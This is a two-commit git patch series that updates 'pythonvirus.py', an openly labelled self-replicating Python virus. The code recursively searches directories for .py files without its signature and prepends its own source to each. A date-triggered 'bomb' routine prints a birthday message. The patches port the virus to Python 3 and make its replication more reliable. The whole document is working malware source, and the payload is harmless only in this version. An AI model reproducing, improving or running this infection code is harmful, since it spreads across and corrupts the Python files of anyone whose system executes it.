From 75d11a89f907136cfaa2ee5e97b738e3989e4a57 Mon Sep 17 00:00:00 2001 From: CodenameLambda Date: Tue, 27 Dec 2016 12:53:40 +0100 Subject: [PATCH 1/2] Update pythonvirus.py Made it Python3 compatible, made it PEP008 conform, made it a little faster (it doesn't iterate through the whole file anymore), and closed the "virus" file. --- pythonvirus.py | 38 +++++++++++++++++++++++++------------- 1 file changed, 25 insertions(+), 13 deletions(-) diff --git a/pythonvirus.py b/pythonvirus.py index be70c06..0b67f4c 100644 --- a/pythonvirus.py +++ b/pythonvirus.py @@ -1,39 +1,51 @@ #!/usr/bin/python import os -import datetime +import time + + SIGNATURE = "CRANKLIN PYTHON VIRUS" + + def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: - if os.path.isdir(path+"/"+fname): - filestoinfect.extend(search(path+"/"+fname)) - elif fname[-3:] == ".py": + fpath = os.path.join(path, fname) + if os.path.isdir(fpath): + filestoinfect.extend(search(fpath)) + elif fname.endswith(".py"): infected = False - for line in open(path+"/"+fname): + for line in open(fpath): if SIGNATURE in line: infected = True break if infected == False: - filestoinfect.append(path+"/"+fname) + filestoinfect.append(fpath) return filestoinfect + + def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" - for i,line in enumerate(virus): - if i>=0 and i <39: - virusstring += line - virus.close + for i, line in enumerate(virus): + virusstring += line + if line.strip() == "bomb()": + break + virus.close() for fname in filestoinfect: f = open(fname) temp = f.read() f.close() - f = open(fname,"w") + f = open(fname, "w") f.write(virusstring + temp) f.close() + + def bomb(): - if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: - print "HAPPY BIRTHDAY CRANKLIN!" + if time.strftime("%m %d") == "01 25": + print("HAPPY BIRTHDAY CRANKLIN!") + + filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb() From 260df8c08924dfb9f5eb02108424cbf1a0a78377 Mon Sep 17 00:00:00 2001 From: CodenameLambda Date: Thu, 30 Mar 2017 16:19:04 +0200 Subject: [PATCH 2/2] The `enumerate` in `infect` doesn't make any sense --- pythonvirus.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pythonvirus.py b/pythonvirus.py index 0b67f4c..357822b 100644 --- a/pythonvirus.py +++ b/pythonvirus.py @@ -27,7 +27,7 @@ def search(path): def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" - for i, line in enumerate(virus): + for line in virus: virusstring += line if line.strip() == "bomb()": break